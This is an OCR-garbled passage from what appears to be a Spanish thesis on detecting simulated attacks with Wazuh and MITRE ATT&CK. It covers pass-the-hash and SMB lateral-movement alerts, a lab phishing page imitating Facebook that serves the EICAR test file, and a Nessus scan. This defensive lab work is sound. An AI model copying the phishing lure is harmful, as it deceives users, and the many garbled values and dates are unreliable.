® esse
11:13:58.585
Apr 20, 2025 4624 172.16.16.24 172.16.16.182 11558882, T1B7B.88  Defense Evasion, Latersl Pass the Hash, Domain Accou Successful Remote Logon  admin_prueba
> e 2, T121_den ovement, Persistence, P nts, Remote Désktop Protoco Detected - User:\admin,
1358 e o coslarion fni 1 Druehs - NTIN aurhentic
= Discaver Mew Save Open Share Reporting Inspect | (&
y e -
11:13:58.613
o der 20, 2025 5140 172.16.16.24  172.16.16.102 Ti821.002 Lteral Hovement SHB/Windows Admin Shares 4 nemiork share s zox -
[} PEn
11:13:50.595
fpr 26, 2025 4624 172.16.16.24  172.16.16.162 T1550.862, T1878.80 Defense Evasion, Lateral Pass the Hash, Domain Accou Successful Remote Logon  admin_prueba
» e 2, Te21 ke Wovenent, Persistence, P nts, Remote Désktop Protoco Detected - User-\admin_
11:13:58.578 rivilege Escalation, fn1 1 ucha - NTLH authent1d
tial Access ation, possible pass-
e-hash attack - Possibl
annection
y thar LAPTOP-08R7VERT
allowed to pe
O connections
5 fpr 20, 2025 463 172.16.16.24 - - - - Windows User Logaff admin_prusba
)
11:13:58.470
5 der 20, 2025 518 172.16.16.24  172.16.16.102 T1821.802 Lateral Movement SHB/Windows Admin Sharez 4 network share was sec -
) essa
11:13:56_680
for 28, 2025 4624 172.16.16.24  172.16.16.162 11558 882, T1678.89  Defense Evesion, Lateral Pass the Hash, Domain Accou Successful Remote Logon admin_prueha
> e 2, Tie1 ber Wovement, Persistence, P emote Desktop Protoco Detected - lser-\admin_
11:13:56_658 rivilege Escalation, ni eba - NTLN authentic
tial Access ation, possible pass-th
e-hash attack - Dossil
DB cannection
y that LABTOP-08R7VERT
allowed to perform
DP connections
o dpr2e, 2025 453 172.16.76.24 - - - - Windows User Logaff admin_prusoa
)
11:13:56.622
fpr 28, 2025 4624 172.16.16.24  172.16.16.162 T1550.862, T1B78.80 Defense Evasion, Lateral Pass the Hash, Domain Accou Successful Remote Logon admin_prueba
> e 2, 1821 b Hovenent, Persistence, P nts, Remote Disktop Prataco Detected - User:\admin_
11:13:56_601 rivilege Escalation, fni 1 ebs - NTLH authentis
rial Access on, possible pass-
e-hash attack - Bossibl
2 RDP connection Verif
y that LAPTOR-0GR7VERT
iz allowed to perform R
D comnections
§ fer 26, 2025 2632 172.16.16.22 - - - - Windows User Logoff admin_prueba
)
11:13:56.598
5 der 20, 2025 510 172.16.16.24  172.16.16.102 - - - Windows sudit failure & -
[ vant
11:13:56.543
5 4pr 26, 2025 548 172.16.16.24  172.16.16.162 T1821.882 Lateral Mavement SHB/Windows Admin Shares & netuork share mes sco -
) esse
11:13:56.335
or 26, 2025 4624 172.16.16.24  172.16.16.102 T1550.802, T1878.00  Defense Evasion, Lateral FPass the Hash, Domein Accou  Successful Remote Logon  admin_prusba
> g 2, Tez1. 61 Movement, Persistence, s, Remote Desktop Protoco Detected - User:\admin_
11:13:56.457 rivilege Escalataon, Ina srusba - NTLH aithentic
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Mew Save Open Share Reporting Inspect | (a

24 Ti821 88
6.16.24 1 o (1] sdmin_prusba
24 ANONYNOUS LOGON
6.16.24 172.16.16.162 Ti821 862
172.16.16.24 172.16.16.182 T1550.002, T1675.902 teral Pass the Hash, Domein Acco Fon  ANONTHOUS LOGON
Ini
24 ANONYNOUS LDGON
172.16.16.24 172.16.716.702 T1350.002, T1678.902 Fazs the Hean, Domein Acco ANONYNOUS LOGON
24 ANONYHOUS LOGON
6.16.24 172.16.16.162 Tie21.062 Lateral Movement SMB/Windoms Admin Shares
6.16.24 172.16.16.182 TISS.002, T1878.802 De e Hasl on  ANONYHDUS LOGON
24 ANONYNOUS LDGON
172.16.16.24 172.16.716.702 T1350.002, T1678.902 e 1 Pass the Hash, Domain Acco gan  ANONTHOUS LOSON
on, ini

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

Event ID 4624: Valid Accounts:El evento con ID 4624 registrado en el agente MV-
Win-Srv-19 indica un inicio de sesion exitoso mediante el protocolo NTLM desde la
direccion IP 172.16.16.102, usando la cuenta admin_prueba a través del tipo de inicio
de sesion 3 (red), lo que puede implicar un acceso remoto, posiblemente por RDP.
Este comportamiento estd asociado a técnicas del framework MITRE ATT&CK como
T1550.002 - Pass the Hash, T1078.002 - Domain Accounts, y T1021.001 - Remote
Desktop Protocol, encajando con tacticas de Evasion de Defensas, Movimiento
Lateral, Persistencia, Escalada de Privilegios y Acceso Inicial. Estas técnicas podrian
ser indicio de un intento de compromiso o uso indebido de credenciales, por lo que se
recomienda verificar si el origen del acceso (workstation LAPTOP-O0P7VGRI) esté

autorizado para establecer conexiones RDP hacia ese servidor.
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Figura 55

Deteccion del Event ID 4624 en la SIEM Wazuh

= W. Discover MNew Save Open Share Reporting  Inspect a
ks vent
3 5148 172.16.16.24 172.16.16.182 T1821.882 Lateral Movement SMB/Windows Admin Shares A nE;wDrk share was acc -
4624 172.16.16.24 172.16.16. T1558.882, T1678.88 Defense Evasion, Lateral Pass the Hash, Domain Accou Successful Remote Logon admin_prueba
v 2, Tez1 _8a1 Mo 1stence, P s, Remote Desktop Protoco d - User -\admin_
rivilege Ezcalation, Ini ebe NTLM_ suthentic
tial Access ition, possible Basi-(h
mection. Verit
1s sllowed to perform R
DP connections
[ Expanded document Vi
Table JSON
t _index wazuh-alerts-4 x-2825_ 8428
t agent.id 62
t agent.ip 172.16.16.24
t agent_name WV-Win-Srv-19
t data win_eventdata. authenticationPackageName NTLM
t data.win_e tdata.elevatedToken %1843
t data win_ e tdata.impersonationlevel %1833
t data win_eventdsta ipAddress 72.16.16.102
t data.win.e tdata.ipPort 56140
t data win_eventdata keylLength []
t data.win.e tdata. lmPackageName NTLM V2
t data.win_e tdata. logonGuid {00002000-02000-0000-0000-000000000000 }
Figura 56
Deteccion del Event ID 4624 en la SIEM Wazuh
= W Discover Mew Save Open Share Reportng Inspect | (&) | ®
=
t data.win.sy processID 628
t data.win. providerGuid {54B49625-5478-4094-a5ha-3e308328c30d }
i data.win providerName Microzoft-Windows-Security-Auditing
t data.win severityValue AUDIT_SUCCESS
t data win ystemTime 2825-84-20716:13:55.8187874802
t data win task 12544
t data.win. threadID 5872
t data.win. version 2
1 decoder name windows_eventchannel
¢ full_log s
{"win": {"system” - {"providerName Microsoft-Windows-Security-Auditing” 5484962 5- 547B-4994-a5ba-3e3b8328c30d) eventID” "4624", “version”
80e0EeRRa” , “systemTime” -"2825-84-20716:13:55.8187874802", "eventRecordID" , "processID”: 628" hreadID” ;" 5872, "channel” :"Security”, “compute: IV-Win-Srv-107, “severityVal
was successfully logged on.\rin\rinSubject:\rin\tSecurity ID:\t\tS-1-8-B\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\tit-\rin\tlogon ID:\t\t@xB\r\n\rinLogon Information:\rin\t
e \t-\rin\tVirtual Account -\t\tMo‘rin\tElevated Token:\t\tMo‘r\n\ir\nImpersonation Level:\t\tImpersonation‘\rin\rinNew Logon:\rin\tSecurity ID:\t\tS-1-5-21-32686146821-186827812-1
rueba\rin\tAccount Domain:\t\tMV-WIN-SRV-10\rin\tLogon ID:\t\t@x1E37A6\rn\tLinked Logon ID:\t\t@xB\rin\tMetwork Account Name:\t-\rinitMetwork Account Domain:\t-\rin\tlLogen GUI
epvrwn\rinProcess Ir 0 ID: AT\ tBx@\rin\tPros Name :\t\t-\rin\rinNetwork Informetion:\r\n\tWorkstation Neame:\tLAPTOP-Q@F7VGRI\Vr\n\tSource Network Address:\
toid 1745165636.875205
t input.type 1log
t location EventChannel

mansger name

wazuh-zerver

rule.description

Successful Remote Logon Detected - User:\admin_pruebs - NTLM suthentication, possible pass-the-hash sttack - Possible RDP cennection. Verify that LAPTOP-0BRTVGRI is allowed ‘11

e Event ID 5140: Valid Accounts: El evento 5140 registrado en el sistema MV-Win-
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Srv-19 (IP: 172.16.16.24) muestra que el usuario "admin prueba" accedi6 al recurso
compartido de red \*\\[PC$ desde la direccion IP 172.16.16.102 usando el puerto
56140, solicitando permisos de lectura sobre objetos de tipo File. Esta accion,
detectada por Wazuh, esta asociada a la técnica T1021.002 — SMB/Windows Admin
Shares dentro de la tactica de Lateral Movement segun el framework MITRE
ATT&CK, lo que puede indicar un intento de desplazamiento lateral dentro de la red

aprovechando recursos compartidos administrativos.

Figura 57

Deteccion del Event ID 5140 en la SIEM Wazuh

11:13
o Ao 2 148 Lateral Wovement SHB/Windows Admin Shares Tie21.002 172.16.16.182
[
£ Expanded document View surrounding documents 7 View single docusent
Table JSON
_index wazuh-alerts-4. x-2825.64.20
t agent.id [
¢ agent.ip 172.16.16.24
¢ agent.name W-RIn-Sry-19

%4416
dat x1

¢ date.win.eventdats.ipAddress 172.16.16.182

t data.win.eventdata.ipPort 56158

t data.win.eventdata.objectType File

¢ dats.win.eventdata,shareame VVL#AIPCS

¢ dats.win.eventdats.subjectDomainame MV-WIN-SRV-19

¢ dsta.win.eventdata.subjectlogonld  Bxles2ba

¢ data.win.eventdats.subjectUserName  admin_prueba

¢ date.win.eventdats.subjectUserSid  S-1-5-21-3268614821-186827612-181184877-1688

t dsta.win.systen.channel Security
t data.win.system.computer WV-Hin-Srv-19

t data.win.systen.eventID 5148

¢ dsta.win.system.eventRecordID 3994

t dats.win.system.keywords 0x3026800066000080
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Figura 58

Deteccion del Event ID 5140 en la SIEM Wazuh

win.system.providerGuid

win.systen.providerNane

win.systen.severityvalue

win.systen. task

ate.win.systen. threa

win.system.versi

le.mitre. technique

dID

{54849625-5478-4994-a5ba-3e3b0328c30d}
Microsoft-Windows-Security-Auditing
AUDIT_SUCCESS
2875-84-208T16:13:57 7743923007
12808

1436

1

windons_eventchannel
1745165638, 966518

1og

EventChannel

wazuh-server

A netnork share was sccessed.
9

windons, WEF

67017

3

false

T1021.002

Lateral Movement

SHB/Windons Admin Shares

Apr 28, 2625  11:13:58.878

New

save  Open

Share  Reporting  Inspect

a

Adicional se valida un segundo evento que también es un 5140, pero esta vez reporta un

"AUDIT FAILURE", lo que indica que se intentd acceder a un recurso compartido de red

ADMINS (ruta local C:\Windows) desde la IP 172.16.16.102 por el usuario "admin_prueba"

usando el puerto 56140, pero no fue exitoso.

reconocimiento por parte del usuario (o atacante) que intenta acceder a shares administrativos.

Esto refuerza la hipotesis de un posible movimiento lateral fallido o una fase de

La técnica sigue alineada con MITRE ATT&CK T1021.002 (SMB/Windows Admin Shares),

aunque este evento no esta explicitamente etiquetado con MITRE en la alerta.
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Figura 59

Deteccion del Event ID 5140 en la SIEM Wazuh

= W Discover
= 11:13:56.543

5 Expanded document

Table JSON

t index

t agent.id

t sgent.ip

t agent.name

© data.win.eventdata.accesslist

t data.win_eventdata accessMask

t data win eventdata ipAddress

t data.win.eventdata_ ipPort

t data win eventdata objectType

wazuh-alerts-4.x-2825.84.20

882

172.16.16.24

NV-Win-Srv-10

w4416

ex1

172.16.16.182

56148

File

t data.win.eventdsta.sharelocalPath

¢ datawin.eventdsta_shareame

¢ data.win.eventdsta.subje

¢ dats.win eventdata. subjectLogonld

t data.win_eventdata_subjectUserName

WWITVAC: VWi ndows.

WUALE L ADHING

HV-WIN-SRV-10

ex183726

sdmin_prueba

¢ data.win.eventdata.subjectlserSid

t data win system channel

§-1-5-21-3268674021-186827812-181184877-1000

Security

Reporting

Inspect

a

A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre al realizar el ataque Ataque creacion de usuarios:
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Tabla 12

83

Casos encontrados de acuerdo al framework Mitre del ataque Escaneo de deteccion de

credenciales validas mediante Nessus

Timestamp Event Tacticas Técnicas ID Técnica IP Origen
ID MITRE
Apr 20,2025 4624  Defense Pass the Hash, T1550.002, 172.16.16.102
@ Evasion, Lateral Domain Accounts T1078.002
11:13:59.002 Movement,
Persistence,
Privilege
Escalation,
Initial Access
Apr 20,2025 4634 - - - -
@
11:13:58.986
Apr 20,2025 5140  Lateral SMB/Windows T1021.002 172.16.16.102
@ Movement Admin Shares
11:13:58.970
Apr 20,2025 4624  Defense Pass the Hash, T1550.002, 172.16.16.102
@ Evasion, Lateral Domain T1078.002,
11:13:58.940 Movement, Accounts, Remote T1021.001
Persistence, Desktop Protocol
Privilege
Escalation,
Initial Access
Apr 20,2025 4634 - - - -
@
11:13:58.927
Apr 20,2025 5140 - - - 172.16.16.102
@
11:13:58.894
Apr 20,2025 5140 Lateral SMB/Windows T1021.002 172.16.16.102
@ Movement Admin Shares
11:13:58.878
Apr 20,2025 4624  Defense Pass the Hash, T1550.002, 172.16.16.102
@ Evasion, Lateral Domain T1078.002,
11:13:58.847 Movement, Accounts, Remote T1021.001
Persistence, Desktop Protocol
Privilege
Escalation,

Initial Access
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Timestamp Event Tacticas Técnicas ID Técnica IP Origen
ID MITRE
Apr 20,2025 4634 - - - -
@
11:13:58.815
Apr 20,2025 5140  Lateral SMB/Windows T1021.002 172.16.16.102
@ Movement Admin Shares
11:13:58.798
Apr 20,2025 5140 - - - 172.16.16.102
@
11:13:58.782
Apr 20,2025 5140  Lateral SMB/Windows T1021.002 172.16.16.102
@ Movement Admin Shares
11:13:58.768
Apr 20,2025 4624  Defense Pass the Hash, T1550.002, 172.16.16.102
@ Evasion, Lateral Domain T1078.002,
11:13:58.737 Movement, Accounts, Remote T1021.001
Persistence, Desktop Protocol
Privilege
Escalation,
Initial Access
Apr 20,2025 4634 - - - -
@
11:13:58.704
Apr 20,2025 5140  Lateral SMB/Windows T1021.002 172.16.16.102
@ Movement Admin Shares
11:13:58.691
Apr 20,2025 4624  Defense Pass the Hash, T1550.002, 172.16.16.102
@ Evasion, Lateral Domain T1078.002,
11:13:58.646 Movement, Accounts, Remote T1021.001
Persistence, Desktop Protocol
Privilege
Escalation,
Initial Access
Apr 20,2025 4634 - - - -
@
11:13:58.613
Apr 20,2025 5140  Lateral SMB/Windows T1021.002
@ Movement Admin Shares

11:13:58.595
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3.6.1.3. Ataque Phishing. Para la simulacion de dicho ataque se describe a continuacion
los datos tanto de la maquina atacante como la maquina que recibira el ataque para la
recoleccion de logs.
Tabla 13

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.108 - Kali Linux
Maquina Objetivo 172.16.16.24 MV-Win-Srv-19  Windows Server 2019

Para efectuar el ataque de Phising se genera una pagina falsa de Facebook con Apache,
con un archivo descargable con un malware de prueba llamada eicar.com
Figura 60

Descarga del archivo html en el Windows Server 2019

Windows Server 2019

Lo ES Espafiol (Ecuador) o X (@ Facebook - Iniciar sesién c regis

&~ O A Not secure 172.16,16.108/index.htm| A hrd =

4
Downloads Boa .o

cked as unsafe by Microsoft Defender

Facebook

Conéctate con tus amigos y el mundo que te rodea en Facebook

Descargar actualizacion de seguridad
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Figura 61

Deteccion de la descarga del archivo malicioso en el SIEM Wazuh

Figura 62

Bloqueo al archivo malicioso por parte de Windows Defender

G

@ Edge | edgey//downloads r % L

S|

Downloads All files T Clear all F1Open downloads folder

Q, Searc

h all files

April 20, 2025

oo +
| GG Allfiles

& PDFs

° eicar.com

http:// 16.16.108

D Documents

55 Apps

This file was blocked as unsafe by Microsoft Defender SmartSereen. Keep Delete

5] Images

] Compressed files

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

Event ID 1116: Windows Defender: Antimalware platform detected potentially
unwanted software () ID de Evento: 1116, Microsoft Defender Antivirus detecto
malware (Virus:DOS/EICAR Test File) en el equipo MV-Win-Srv-19. La amenaza
fue encontrada en la ruta del archivo
C:\Users\Administrator\Downloads\Unconfirmed 365367.crdownload con un nivel de
severidad clasificado como "Grave". La deteccion se origind a partir de la proteccion
en tiempo real mediante el proceso C:\Windows\explorer.exe. La deteccion de

malware ocurrid el 21 de abril de 2025 a las 02:23:52.573 (UTC) y fue asignado el ID

86



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM

Figura 63

de deteccion F1492ACE-FAOE-4BA2-9487-6B1953427D28. Las versiones del motor
antivirus en ese momento eran AM: 1.1.25030.1 y NIS: 1.1.25030.1, y la version de
inteligencia de seguridad era AV: 1.427.351.0. El evento fue clasificado como una
ADVERTENCIA vy la accion tomada fue suspender. La alerta activo una respuesta
alineada con varios estandares de cumplimiento como PCI DSS, HIPAA y NIST 800-

53.

Deteccion del Event ID 1116 en la SIEM Wazuh

Mew Save Open Share  Reporting Inspect | [a

Real-Time Protection

2147519803

VIrue DUS/EICAR. Teet.TalE

Concre te

Microzoft-Kindows-Windows Defender/Operational

HY-Win-Srv-19

116

188

%6008000000080000

Event ID 1117: Windows Defender: Antimalware platform detected potentially
unwanted software (), El Event ID 1117, registrado el 21 de abril de 2025 a las
02:23:59 UTC, indica que Microsoft Defender Antivirus en el agente MV-Win-Srv-
19 (IP: 172.16.16.24) tomo accion para proteger el sistema contra una amenaza
clasificada como Virus:DOS/EICAR Test File. La amenaza fue detectada por la

proteccion en tiempo real y su origen fue la maquina local. Los archivos maliciosos se
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Figura 64

encontraban en la ruta C:\Users\Administrator\Downloads, especificamente
Unconfirmed 256061.crdownload y Unconfirmed 365367.crdownload. La accion
ejecutada fue "Quarantine", realizada por el usuario del sistema NT
AUTHORITY\SYSTEM, con resultado exitoso (cddigo de error 0x00000000). La
severidad del evento fue Severe, la categoria Virus, y no se requirieron acciones
adicionales. Se usaron las versiones de inteligencia de seguridad AV: 1.427.351.0 y
del motor AM: 1.1.25030.1.. Adicional fue enviado a cuarentena por Microsoft

Defender Antivirus.

Deteccion del Event ID 1117 en la SIEM Wazuh

New Save Open Share  Reporing Inspect | (@

jazuh-alerts-4.x-2025.84 .21

{F1492ACE FADE - 4BA2- 9487 681053427028}
2025-84.21782:23:52. 5732
H-DN-SRY-19\\Adninistrator

AM: 11250301, NIS: 1.1.25030.1

8260060208

Suspendsd
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Figura 65

Deteccion del Event ID 1117 en la SIEM Wazuh

I
2

Discover New Save Open Shara Reporting Inspect |(a

"

¢ data.win.eventdata. status Code 4

t data.win.eventdata.threat I 2147519603

Virus:D0S/EICAR Test_File

Cancrete

Microsoft-Windows-Nindows Defender /Operational

t deta.min.systen.computer WY-Rin-Srv-19

t data.win_systen eventID 17

¢ data.win.systen.eventRecordld a2
¢ ©x8008000800800008

¢ dsta win system level 4

t data.win_systen.message , “Micreseft Defender Antivirus has taken sction To protect this mechine from malware or other potentislly umanted softmare

Fer more information please see the following:
NTtRs://go.MICrosef . com/ fwlink/ 71inkid=378208nane=Virus :00S/EICAR_Test_FileStnreatid=21473198638enterprise=e
Name: Virus :00S/EICAR Test_File
o- 2147513083
Severity: Severa
Farannru- Virne

¢ dstawin.systen opcode °
¢ dstawin.system processID E

¢ dstawin.systen providerduid {110d958a-c587-4ef3-632 549 fhd2c78)
¢ dstawin.systen providerlians Microsaft-Handows-Rindows Defender

A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al

Framework Mitre al realizar un ataque de Phishing:
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Tabla 14

Casos encontrados de acuerdo al framework Mitre del ataque de Phishing

90

Fechay Event  Fuente Descripcion Archivo Action
Hora ID
Apr 20, 1117  Microsoft- Windows Defender:  Virus:DOS/EICAR_Test_File Cuarentena
2025 @ Windows- Antimalware
21:23:59.989 Windows  platform performed
Defender  an action to protect
you from potentially
unwanted software
Apr 20, 1116  Microsoft- Windows Defender:  Virus:DOS/EICAR Test_File Suspended
2025 @ Windows- Antimalware
21:23:54.431 Windows  platform performed
Defender  an action to protect
you from potentially
unwanted software
Apr 20, 1116  Microsoft- Windows Defender:  Virus:DOS/EICAR Test_File Suspended
2025 @ Windows- Antimalware
21:23:54.430 Windows  platform performed
Defender  an action to protect

you from potentially
unwanted software
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3.6.1.4. Ataque Escaneo Dinamico con Nessus. Para la simulacion de dicho ataque se
describe a continuacion los datos tanto de la maquina atacante como la maquina que recibira el
ataque para la recoleccion de logs.
Tabla 15

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.102 LAPTOP- Windows
O0P7VGRI
Maquina Objetivo 172.16.16.24 MV-Win-Srv-19  Windows Server 2019

Como se realizo con anterioridad se hace uso de Nessus anteriormente configurado y se
ejecuta el escaneo dindmico y luego se valida los eventos detectados en el SIEM Wazuh.
Figura 66

Ejecucion de ataques desde Nessus

Configure  Audit Trail Launch ~

Host

172.16.16.24
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Figura 67

Visualizacion de vulnerabilidades encontradas en Nessus

© Noseguro | hitps//localhost

Otenable Nessus Essentials

Scans ® A4 sumbyn €]

M1-SERVER-19/172.16.16.24 Configure  Audit Trail Launch ¥ Report  Export

Vulnerabilities 28
Filter v

VPR v+  EPSS v Name . Family . Host Details

General IP: 172.16.16.24

MAC

il sst(Multiple issues)
00:0C:29:7F53:56

Microsoft Windows Server 2019
Datacenter Evaluation 17763

1SC BIND Dynamic Updates Unauthorized Resource Reco ( os:

TLS (Multiple Issues) Service detection April 20 at 9:42 PM

April 20 at 9:50 PM

DNS (Multiple fssu DNs

B svB (Multiple Issues)

ICMP Timestamp Request Remote Date Disclosure
B swB Multiple tssu
B HTTP (Multiple issues)

TLS (Multiple Issue:

General

Windows

Web Servers

General

Critical

Figura 68

Visualizacion de logs de los eventos detectados en el SIEM Wazuh

Discover New Save Open Share

e

Reporting  Inspect a

1,859 hits <3

Apr 20, 2025 @ 21:41:00.000 - Apr 20, 2025 @ 21:51:00.000 per Auto

H
H
3
3
timestamp per 10 seconds
Time data.win.system.eventID agent.ip data.win.eventdata.ipAddress rule.description data.win.system.channel data.win.eventdata.sourcelp
Apr 20, 2025 N 172.16.16.24 - smon - Event 11 Microsoft-! dows-Sysmon/Operati
>0 eate ona;
21:50:5
Apr 28, 13 72.16.16.24 - - Event 13: Regist Microsoft-Windows-Sysmon/Operati
> e (Value Set) onal
21:50 764
Apr 20, 2025 3 172.16.16.24 Sysmon Event 3: Network Microsoft-W. ows-Sysmon/Operati 6.16.102
> connection onal
50:08.126
Apr 20, 2025 3 172.16.16.24 - Sysmon - Ever Network Microsoft-Wi /Operati 172.16.16.102
> connection. onal
21:50:08.092
20, 2025 3 172.16.16.24 - Sysmon - Event 3: Network Microsoft-Windows: ‘Operati 172.16.16.102
> connection ona.
50:08.076
3 Sysmon - Event 3: Network Micr /Operati 172.16.16.182
> nnection onal
3 6.24 Event 3: Network Microsoft-Wind -Sysmon/Operati 172.16.16.182 n
> connection onal
Apr 20, 2025 ok 72.16.16.24 - Windows User Logoff curit:
> o ES Espafil (Ecuador y

Ra-0k 014
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W. Discover
7 e
21:50:08.863
Apr 28, 2025 4634
> e
21:50:06.814
Apr 20, 2025 4624
e
21:50:86.779
Apr 28, 2025 4634
> e
21:56:06.764
Apr 28, 2025 4624
> e
21:50:86.732
5 Apr 20, 2025 4634
21:50:06.717
Apr 28, 2025 4624
> e
21:50:06.694
5 Apr 20, 2025 4634
21:50:06.690
5 Apr 20, 2025 4624
21:50:01.487
5 Apr 20, 2025 13
21:49:57.292
5 Apr 20, 2025 M
21:49:57.254
5 Apr 20, 2025 4625
21:49:55.298

2149750, 254
Apr 20, 2025
$1:40:55.2
sor 26, 2025
21:49:55.296
Apr 28, 2025
21:49:49.087

Apr 28, 2025
21:49:49.086
Apr 28, 2025
21:49:42.892
Apr 28, 2025
21:49:42 890
Apr 20, 2025
21:49:41.845
Apr 28, 2025
$1aa0:36.172
Apr 28, 2025
21:40:35. 304

Apr 28, 2825
$1:40:30.439
Apr 28, 2025
21:40:30.437
Apr 28, 2025
51149124,255
Apr 20, 2025
21:49:24.252

4625

4776

4625

4776

4625

4776

4634

4624

4625

4776

4625

AT76

172

172

172

172

172

172

172

172

172

172

172

172

172

172

172

172.

172

172

172

172.

172.

.16

.16

.16

16

.16

16

16

16

16

.16

16

.16

.16

.16

.16

.16

.16

.16

16

16

16,24

.16.24

.16.24

.16.24

.16.24

1624

.16.24

.16.24

.16.24

.16.24

.16.24

.16.24

.16.24

.16.24

L1624

.16.24

J16.24

.16.24

L16.24

.16.24

L1624

.16.24

.16.24

.16.24

172.16.16.182

172.16.16.162

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.182

connection.

Windows User Logoff

Successful Remote Logon D
etected - User:\ANONYMOUS
LOGON - NTLM authenticati
on. possible pass-the-has
h attack.

Windows User Logoff
Successful Remote Logon D
etected - User: \ANONYHOUS

LOGON - NTLM authenticati
on, possible pass-the-has
h attack.

Windows User Logoff
Successful Remote Logon D
etected - User: \ANONYHOUS
LOGON - NTLM authenticati

on, possible pass-the-has
h attack.

Windows User Logoff

Successful Remote Logon D

etected - User:\ANONYMOUS

LOGON - NTLM authenticati

on, possible pass-the-has
ttack.

Sysmon - Event 13: Regist
ryEvent (Value Set)

Sysmon - Event 11: FileCr
eate.

Logon Failure - Unknown u
ser or bad password

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt
Windows User Logoff

ysmon - Event 13: Regist
ryEvent (Value Set).

Successful Remote Logon D
etected - User :\ANONYMOUS
LOGON - NTLM authenticati
on, possible pass-the-has
h attack.

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt

New Save Open  Share

onal

Security

Security

Security

Security

Security

Security

Security

Security

Microsoft-Windows-Sysmon/Operati
onal
Microsoft-Windows-Sysmon/Operati
onal

Security

New Save Open Share
Security
Security

Secur.

Security

Security

Security

Security

Microsoft-Windows-Sysmon/Dperati

Security

Security

Security

Security

Security

Reporting  Inspect a c
- @0
Reporting  Inspect a @

@0
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~

w

~

~

~

~

~

~

~

v

~

~

~

W. Discover
21:49:16.665
dor 2@ g 462
21:49. ...,
Apr 20, 2025 4625
$1:40:68.229
Apr 20, 2025 4776
21:49:08.051
Apr 28, 2025 13
$1:a0:01.930
Apr 20, 2025 4776
AP
Apr 20, 2025 4625
21:48:58.623
Apr 20, 2025 11
21:48:57.248
Apr 20, 2025 4625
21:48:52.551
Apr 20, 2025 4776
21:48:52.550
Apr 28, 2025 4634
$1:4:29.614
dpr 20, 2025 4624
21:48:43.432
Apr 20, 2025 4625
$1ua:37.220

W. Discover
Apr 28, 2025 4625
$reas:a1 03
Apr 28, 2025 4776
21:48:31.631
Apr 28, 2025 3
21:48:29.513
Apr 20, 2025 4625
21:48:25 4
Apr 28, 2625 4776
21:48:25.821
Apr 28, 2025 4634
21:48:24.485
Apr 20, 2625 4624
21:48:19.249
Apr 20, 225 4625
21:48:13.031
Apr 28, 2025 4776
21:a8:13.020
tpr 28, 2025 1
21:48:89 .428
Apr 28, 2025 7
21:48:09.428
Apr 28, 2025 7
21:48:09.419
Apr 20, 2025 4625
21:48:06.826

172

172

172

172

172

172

172

172

172

172

172

172

172

172

172.

172

172

6.

6.

16.

6.

6.

16.

16.

16.

6.

1.

6.

1.

16.

16.

6.

6.

1.

6.

16.

16.

172.16.16.182

172.16.16.182

172.16.16.182

172.16.16.102

172.16.16.102

172.16.16.182

172.16.16.182

172.16.16.1082

172.16.16.182

172.16.16.182

172.16.16.182

Successful Remote Logon D
etected - User :\ANONYMOUS
LOGON - NTLM authenticati
on. possible pass-the-has
h attack

Logon Failure - Unknown u

ser or bad password

Windows audit failure eve
nt

Sysmon - Event 13: Regist
ryEvent (Value Set).

Windows audit failure eve
nt

Multiple Windows Logon Fa
ilures

Sysmon - Event 11: FileCr
eate.

Logen Failure - Unknown u
ser or bad password

Windows audit failure eve
nt
Windows User Logoff

Suceessful Remote Logon D

etected - User :\ANONYMOUS

LOGON - NTLM authenticati

on, possible pass-the-has
track.

Logon Failure - Unknown u
ser or bad password

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt

Sysmon - Event 3: Network
connection.

Logon Failure - Unknown u
ser or bad password

Windows sudit failure eve
nt
Windows User Logoff

Successful Remate Logon D
etected - User: \ANONYMOUS
0GON - NTLM authenticati
on, possible pass-the-has
h attack.

Logon Failure - Unknown u
ser or bad password

Windows audit failure eve
nt

Sysmon - Event 1: Process
creation.

Sysmon - Event 7: Image 1
oaded.

Sysmon - Event 7: Image 1
oaded

Logon Failure - Unknown u
ser or bad password

New Save Open Share Reporting

Security -

Security -
Security -
Microsoft-Windows-Sysmon/Operati -
Security -
Security -
Microsoft-Windows-Sysmon/Operati -
onal

Security -
Security -
Security -

Security -

Security -

New Save Open Share Reporting

Security -
Security -
Microsoft-Windows-Sysmon/Operati 224.8.8.251
anal

Security -
Security -
Security -

Security -

Security -
Security -
Microsoft-Windows-Sysmon/Operati -
onal
Microsoft-Windows-Sysmon/Operati -
onal
Microsoft-Windows-Sysmon/Operati -
onal

Security -

Inspect

Inspect
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= W. Discover New Save Open Share Inspect a @
= Apr 28, 2825 4625 172.16.16.24 172.16.16.182 Logon Failure - Unknown u Security -
= >0 ser or bad password
21:47:41.888
y Aor 28, 2025 4776 ® O 172.16.16.24 - Windows audit failure eve Security -
@ G s
21:47:41.886
Apr 28, 20825 4625 172.16.16.24 172.16.16.182 Logon Failure - Unknown u Security -
> @ ser or bad password
21:47:34.778
3 Apr 20, 2025 4776 172.16.16.24 - Windows audit failure eve Security -
e nt
21:47:34.776
Apr 28, 2825 4653 172.16.16.24 - An IPsec Main Mode negoti Security -
> e ation failed
21:47:31.715
Apr 28, 2025 4653 172.16.16.24 - An IPsec Main Mode negoti Security -
> ation failed
21:47:31.683
Apr 28, 2025 4653 172.16.16.24 An IPsec Main Mode negoti Security
> ation failed
21:47:29.415
Apr 28, 20825 4653 172.16.16.24 - An IPsec Main Mode negotli Security -
> ation failed
21:47:29.400
s Mer 26, 2095 4634 172.16.16.24 - Windows User Logoff Security -
°
21:47:29.385
Apr 28, 20825 4624 172.16.16.24 172.16.16.182 Successful Remote Logon D Security -
>0 etected - User :\ANDNYMOUS
